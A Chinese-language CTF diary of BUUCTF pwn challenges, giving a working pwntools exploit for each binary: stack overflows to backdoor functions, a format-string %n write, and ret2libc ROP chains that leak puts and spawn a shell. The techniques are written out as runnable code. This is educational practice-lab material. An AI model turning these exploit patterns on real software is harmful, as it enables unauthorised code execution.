pwn题日记[BUU](持续更新中。。。)

0x01 test_your_nc

nc直接cat出了,没啥好说的。

0x02 rip

直接拉ida查看一下,标准的gets函数,大概率打一手缓冲区溢出的栈溢出

image-20240719094324316

先checksec一下看看保护和架构啥的,栈保护没开,直接锤

image-20240719094258625

一开始打没打通,报错如下,看一下栈帧情况说是有点不对劲,然后网上又搜了一下,不是直接输入15个字符之后就直接能造成溢出了,这块儿还得加8个字符,因为栈溢出修改call指令保存在栈上的返回地址( 即 eip / rip 的值),这样cpu执行ret指令的时候,就会将被修改的值从栈上取出放入 eip/rip 寄存器中,紧接着就会执行rip或eip所指地址处,至此完成了劫持程序控制流的操作。又该程序是64位的所以到ret之前还差8个字节(覆盖save rbp),因此需要15加上8个字符才能到retn。

image-20240719094736779

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',log_level='debug',arch='arm64')
io = remote('node5.buuoj.cn',27232)
sysadress = 0x40118A

payload = b'a'*(15+8)+p64(sysadress)
io.sendline(payload)
io.interactive()

image-20240719100645473

0x03 warmup_csaw_2016

跟上一题一样的知识点,都是栈溢出然后ret2text,拿到题看到了一些之前没见过的函数,如下图,write是标准输出,然后去搜了一下sprintf,用于造格式化字符串的

image-20240719103023891

这题的考点还是在gets函数上面,直接造溢出就好了,记得是64位的程序,最后加8覆盖save rbp然后直接到retn。不用拿shell了属于是,直接cat flag了

image-20240719104027460

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context(os="linux",log_level='debug',arch='arm64')
io = remote('node5.buuoj.cn',28785)

toadress = 0x000000000040060D
payload = b'a'*(64+8)+p64(toadress)

io.sendline(payload)
io.interactive()

image-20240719104112495

0x04 ciscn_2019_n_1

方法一:

拉进ida看一眼还是老朋友gets函数,直接造溢出就好了

image-20240719113327322

这边用ret2text的话需要把v2的位置也给覆盖掉,跟到v1的栈区,由于retn在RBP处之后,所以这块儿需要把v2的四个字节也给覆盖掉才能快乐地cat flag

image-20240719113501958

exp:

1
2
3
4
5
6
7
8
from pwn import *
context(os="linux",log_level='debug',arch='amd64')
io = remote("node5.buuoj.cn",26678)
addres = 0x00000000004006BE
payload = b'a'*(44+4+8) + p64(addres) #44为v1本身的长度,4是需要覆盖的v2的长度,8是64位程序距离retn的长度(ret2text嘛

io.sendline(payload)
io.interactive()

image-20240719113908375

方法二:

按照程序逻辑进行修改就好了,找到check用到的11.28125数字的

image-20240719113327322

下图高亮处的值即为用于check的浮点数的16进制表示,双击跟过去取出来即可

image-20240719114533841

image-20240719114644231

exp:

1
2
3
4
5
6
7
from pwn import *
context(os="linux",log_level='debug',arch='amd64')
io = remote("node5.buuoj.cn",26678)
payload = b'a'*44 + p64(0x41348000) #用于check的数直接覆盖在v1地址后面就好了,正常走程序逻辑
io.send(payload)
io.interactive()

image-20240719114835132

0x05 pwn1_sctf_2016

也是审上代码了说是,但是代码反编译得太狗屎,有个copy,但是大概意思没太懂

image-20240719155055256

调一下看看逻辑,输入 I 看看,发现最后会就将 i 替换为 you 用来占字符

image-20240719155141784

这把没有老朋友gets函数打了,找了一下其他溢出点没太找到,但是这个交换值可以造溢出,把cat flag的函数地址找到之后,看一下输入值到 save ebp的距离,然后稍加计算,直接开打。又因是32位程序所以最后记得加 4 覆盖save ebp 然后就直接retn了。

image-20240719155802234

exp:

1
2
3
4
5
6
7
from pwn import *
context(os='linux',log_level='debug',arch='i386')
io=remote('node5.buuoj.cn',25595)
adress = 0x08048F0D
payload = b'I'*20+b'a'*4+p32(adress)
io.sendline(payload)
io.interactive()

image-20240719160043379

0x06 jarvisoj_level0

正常溢出题,一开始还以为read有什么不知道的可打的点,以为要在512字节之后造溢出,然后512+8之后发现打不通,再试试128+8然后就通了,就正常溢出,是我想多了,就跟打gets一样,后面的512是做输入限制的操作,这块儿完全够溢出了,所有不用理会

image-20240719163105864

exp:

1
2
3
4
5
6
7
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io = remote("node5.buuoj.cn",25426)
adress = 0x0000000000400596
payload = b'a'*(128+8) + p64(adress)
io.sendline(payload)
io.interactive()

image-20240719163202924

0x07 [第五空间2019 决赛]PWN5

先手查了一下保护,woc,居然给栈保护干开了,感觉不太好打

image-20240719163451817

拉进ida瞅瞅先

image-20240719191541816

一开始想直接用第二个read造一手溢出,但是长度不够,read的长度限制只给了99个字符(对了,栈好像还是有保护的,猪逼了这波。。。

image-20240719191435922

学一手格式化字符串漏洞说是,感觉也就那么回事儿,这题思路主要就是用格式化字符串的漏洞来过,学了一手妙妙小连招,直接AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,因为此处的printf漏了个可以打的破绽,有没有感觉怪怪的,一般的格式都是printf("%s",buf)这样才对,这块儿给他弄一下,按照上面的格式看看程序怎么跑的

image-20240723150842132

如下图,已知AAAA的十六进制为0x41,而%p的作用是打印栈上的指针地址的内容,也就是说,当我们输入的参数被压入栈后,往后数10个地方才是再次调用它的地方,偏移也就是10,那么就可以直接使用%n来打这个格式化字符串的漏洞,%n的作用是将输出的数的字节数写入对应地址去,而%x$n,其中的x意指的是对应的偏移数,比如此处使用%10$n的话即是向偏移为10的地方进行写入成功打印的字节长度。

image-20240723151141552

按照程序的逻辑来说,当我们第二次密码的输入和该变量的值相等时就能直接拿shell,所以我们只需要使用上述所属的方法,往这个对应地址里覆盖掉随机生成的随机数密码即可,而用来覆盖的即是我们传入的字节长度

image-20240723151822155

image-20240723151953629

exp启动:

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux',log_level='debug',arch='i386')
p = remote("node5.buuoj.cn",25028)
bss=0x0804C044
payload1 =p32(bss)+b'%10$n'
p.send(payload1)
p.send(b'4') #密码写4的原因是上述地址0x0804c044作为修改%10$n的字节长度了,用于触发了printf的格式化字符串漏洞,而它的字节长度刚好为4
p.interactive()

0x08 (穿插一道这周打awd遇到的pwn题)

0x09 jarvisoj_level2

经典看保护

image-20240723155734718

栈保护没开,最开心的一集,read直接造溢出了

image-20240723155707264

ida里搜一下字符串(f12),由于这题直接给的system函数,但是把后门作为数据藏在了数据段,所以跳两次跳到这儿就好了

image-20240723155836766

分别找到system命令函数的地址,然后还是同样的栈溢出打,136+4,因为是32位的,覆盖一下save esp直接到system函数地址了,然后同样也是覆盖一下save esp,也是用4个字节,然后跳到命令的地址直接执行就好了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',log_level='debug',arch='i386')

io = remote("node5.buuoj.cn",28583)
elf = ELF("./pwn7")

sysy = 0x08048320

comond = 0x0804A024

payload =b'a'*(136+4) + p32(sysy) + b'a'*(4) + p32(comond)

io.sendline(payload)

io.interactive()

0x0A ciscn_2019_n_8

也是罕见的开上了不少保护哇

image-20240723160231132

拉进ida瞅一眼的,程序逻辑是让var的[13]==0x11,动调看一下var是什么结构的

image-20240723162059520

输入zzzz,然后在var中发现是四个字节一组

image-20240723162328592

为了使得var[13]得到目标值,直接上payload,对于字节的概念还是有点小模糊,打印一下看看,p8()将整数 0x11 转换为一个字节(8位无符号整数),而p32()是四个字节,p64()是八个字节

image-20240723163157463

exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux',log_level='debug',arch='i386')
io=remote("node5.buuoj.cn",29551)
payload = b'a'*(13*4)+p8(0x11)
io.sendline(payload)
io.interactive()
# print(p32(0x11))
# print(p8(0x11))
# print(p64(0x11))

0x0B bjdctf_2020_babystack

先查保护,最不喜欢的栈保护没开,太棒啦

image-20240723163803230

ida启动!就简单的栈溢出,差点被这个12给骗了,最后算了一下偏移才知道偏移是0x10

image-20240723170420510

找到后门之后直接正常搓脚本就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io = remote("node5.buuoj.cn",28975)

address = 0x00000000004006E6

payload = b'a'*(16+8)+p64(address)
io.recv()
io.sendline('32')#16+8+8=32(即使你下面输入的字节数,请看payload的值)
io.recv()
io.sendline(payload)
io.interactive()

0x0C ciscn_2019_c_1

正常看保护

image-20240723184903894

拉进ida没有查看到什么可打的点,跟几个函数看看

image-20240724102339046

begin里面是做选择,也没有可打的点

image-20240724102511447

?!encrypt里有最喜欢的gets,好极了,算是有触发点了

image-20240724102537134

f12翻找了一下,没有最喜欢的后门,看来这把只能自己构造了,参照[BUUCTF]ciscn_2019_c_1_buuctf中ciscn——2019-CSDN博客

先找pop rdi这条指令的地址,直接借助工具找ROPgadget --binary 'filename' |grep "pop rdi" # filename填自己的文件名

image-20240724102123057

这个rdi用处不小,后面用来存参数然后进行跳转,同时需要注意本题给了提示是,Ubuntu 18同时又是64位,我们需要libc的对应版本,直接去BUU的资料上找就好了

image-20240724195053300

image-20240724195233747

got表:包含函数的真实地址,包含libc函数的基址,用于泄露地址

plt表:不用知道libc函数真实地址,使用plt地址就可以调用函数

libc是linux下的c函数库,包含各种常用的函数,在程序执行时才被加载到内存中,libc是一定可以执行的,跳转到libc中函数绕过NX保护

直接上exp:(建议先学rop,不然下列代码有点。。。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os='linux',log_level='debug',arch='arm64')
io = remote("node5.buuoj.cn",27031)
libc = ELF('libc-2.27.so')
elf = ELF('./pwn10')

main_adress = 0x0000000000400B28
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

rdi_adress = 0x0000000000400c83

io.sendlineafter(b"Input your choice!\n",b'1')#gets栈溢出的填充需求为0x50,加8覆盖save rbp,然后才到reten,减1是因为用来跳出加密的'\0'作为第一个字符
payload = b'\x00'+b"a"*(0x50+8-1) + p64(rdi_adress) + p64(puts_got) + p64(puts_plt) + p64(main_adress)
io.sendlineafter("Input your Plaintext to be encrypted\n",payload)

io.recvuntil(b"Ciphertext\n")
io.recvuntil("\n")

puts_address = u64(io.recv(6).ljust(0x8,b'\x00'))#大多是系统库函数的地址,这些地址通常是64位系统中的6个字节有效数据,而最高两个字节通常为零,因此只需要读取6个字节,并且将6个字节填充为8个字节,确保地址格式符合64位系统的标准
libc_puts_address = libc.sym['puts']
libc_base = puts_address - libc_puts_address
print(hex(libc_base))


io.sendlineafter(b"Input your choice!\n",b'1')
io.recvuntil(b"Input your Plaintext to be encrypted\n")
sys_address = libc_base + libc.sym['system']
bin_address = libc_base + libc.search('bin/sh\x00').__next__() #__next__()表示找到的第一个bin/sh的地址
end_address = 0x0000000000400C1C

payload1 = b'\x00' + b"a"*(0x50+8-1)+ p64(end_address) + p64(rdi_adress) + p64(bin_address) + p64(sys_address)

io.sendline(payload1)
io.interactive()

0x0D get_started_3dsctf_2016

也是查上保护了

image-20240724195954368

就经典栈溢出,32位的栈上传参就好了,但是此处记得跟一个exit的地址,因为没有开启标准输入输出,所以flag的读取都是存在缓冲区的,跟一个exit使得函数返回,使flag有回显。

image-20240725093229189

image-20240725093424505

还有个问题就是,在主函数中并还没有push ebp的操作,所以这题也不需要用来覆盖save ebp 的四个字节

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os='linux',log_level='debug',arch='i386')
io = remote("node5.buuoj.cn",25303)

target_address = 0x080489A0
a1 = 0x308CD64F
a2 = 0x195719D1
exit_address = 0x0804E6A0

payload = b'a'*(0x38)+ p32(target_address) +p32(exit_address) + p32(a1) + p32(a2)
io.sendline(payload)
io.interactive()

0x0E jarvisoj_level2_x64

查保护先,没有栈保护,最喜欢的一集

image-20240725100059749

read直接造溢出了,同时给了system和bin/sh,64位寄存器传参直接打了,先找pop rdi这条指令的地址,直接借助工具找ROPgadget --binary 'filename' |grep "pop rdi" # filename填自己的文件名

image-20240725100202013

image-20240725100312512

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',log_level='debug',arch='arm64')
io = remote("node5.buuoj.cn",28426)

sys_address = 0x00000000004004C0
bin_sh_address = 0x0000000000600A90

rdi_address = 0x00000000004006b3

payload = b'a'*(0x80+8)+p64(rdi_address)+p64(bin_sh_address)+p64(sys_address)
io.sendline(payload)
io.interactive()

0x10 [HarekazeCTF2019]baby_rop

先查保护,栈保护没开,最喜欢的一集

image-20240725100636573

和上一道题一样的思路打就行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io=remote("node5.buuoj.cn",28794)
sys_address = 0x0000000000400490
bin_sh_address = 0x0000000000601048
rdi_address = 0x0000000000400683

payload = b'a'*(0x10+8)+p64(rdi_address)+p64(bin_sh_address)+p64(sys_address)

io.sendline(payload)
io.interactive()

就是最后cat flag的时候要注意,它flag不是放在根目录的,先输入find -name flag找一下,确定路径之后直接cat

image-20240725102557870

image-20240725102640404

0x11 others_shellcode

先看保护

image-20240725104215667

直接看程序逻辑,main里面直接走getshell的逻辑了

image-20240725104009220

本地运行了一下,直接拿shell了,抽象,nc一下直接出了

image-20240725104148200

0x12 [OGeek2019]babyrop

先查一手保护

image-20240725105511279

先从随机数文件中给读取一组随机数到buf

image-20240725193615166

进第二个函数 sub_804871F,提示用户输入并与先前的随机数进行check,返回值为零才正常返回这个函数,否则直接退出,这块儿还是想办法绕过这个check,直接用\x00就好了,同时注意一下返回的值,是buf[7]

image-20240725193747500

继续看下一个函数 sub_80487D0 ,上个函数返回出来的buf[7]充当参数传进这个函数,通知将a1作为read的读取字符数量参数进行使用,这不就是送上门的栈溢出吗

image-20240725194028249

总结一下思路直接写了,同样也是先泄露put的地址然后计算libc的基址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(os='linux',log_level='debug',arch='i386')
io=remote("node5.buuoj.cn",27466)
#io = process("./pwn15")
elf = ELF('pwn15')
libc = ELF('libc-2.23.so')

def bug():
gdb.attach()
pause()

main_address = 0x08048825

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

libc_putaddress = libc.sym['puts']

payload = b'\x00'+b'\xff'*7
#bug()
io.sendline(payload)
payload11 = b'a'*(0xE7+4)+p32(puts_plt)+p32(main_address)+p32(puts_got)
io.sendlineafter(b"Correct\n",payload11)
puts_address = u32(io.recv(4))
print(hex(puts_address))

libc_base = puts_address - libc_putaddress
print(hex(libc_base))
sys_address = libc.sym['system']
sysreal_address = libc_base + sys_address
bin_address = libc_base+libc.search('bin/sh\x00').__next__()

payload1 = b'\x00'+b'\xff'*7
io.sendline(payload1)
payload2 = b'a'*(0xE7+4)+p32(sysreal_address)+p32(666)+p32(bin_address) #其中666是随便写的,只要给system函数一个返回地址就行,保持32位的payload格式padding+p32(system)+p32(返回地址2)+p32(bin_sh)

io.sendlineafter(b"Correct\n",payload2)

io.interactive()

0x13 ciscn_2019_n_5

查保护哩

image-20240725194720338

看了一下name的地址,在bss段中,read这块儿打不了溢出,原打算直接一遍打通的,read这块儿看样子是不行了,那只能是分两次打了,第一遍正常泄露地址找libc基址,然后第二遍直接构建rop链

image-20240725205533095

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io = remote("node5.buuoj.cn",25005)

elf = ELF('./pwn16')
libc = ELF('libc-2.27.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_address = 0x0000000000400713
main_address = 0x0000000000400636
return_address = 0x00000000004006AA

io.sendafter("tell me your name\n",b'1')
payload = b'a'*(0x20+8)+p64(rdi_address)+p64(puts_got)+p64(puts_plt)+p64(main_address)
io.sendlineafter('What do you want to say to me?\n',payload)

puts_address = u64(io.recv(6).ljust(0x8,b'\x00'))

print(hex(puts_address))

libc_address = puts_address - libc.sym['puts']
system_address = libc_address + libc.sym['system']
bin_sh_address = libc_address + libc.search('bin/sh\x00').__next__()
print(hex(libc_address))

io.sendafter("tell me your name\n",b'1')
payload1 = b'a'*(0x20+8) +p64(return_address)+p64(rdi_address)+p64(bin_sh_address) + p64(system_address)
io.sendlineafter("What do you want to say to me?\n",payload1)
io.interactive()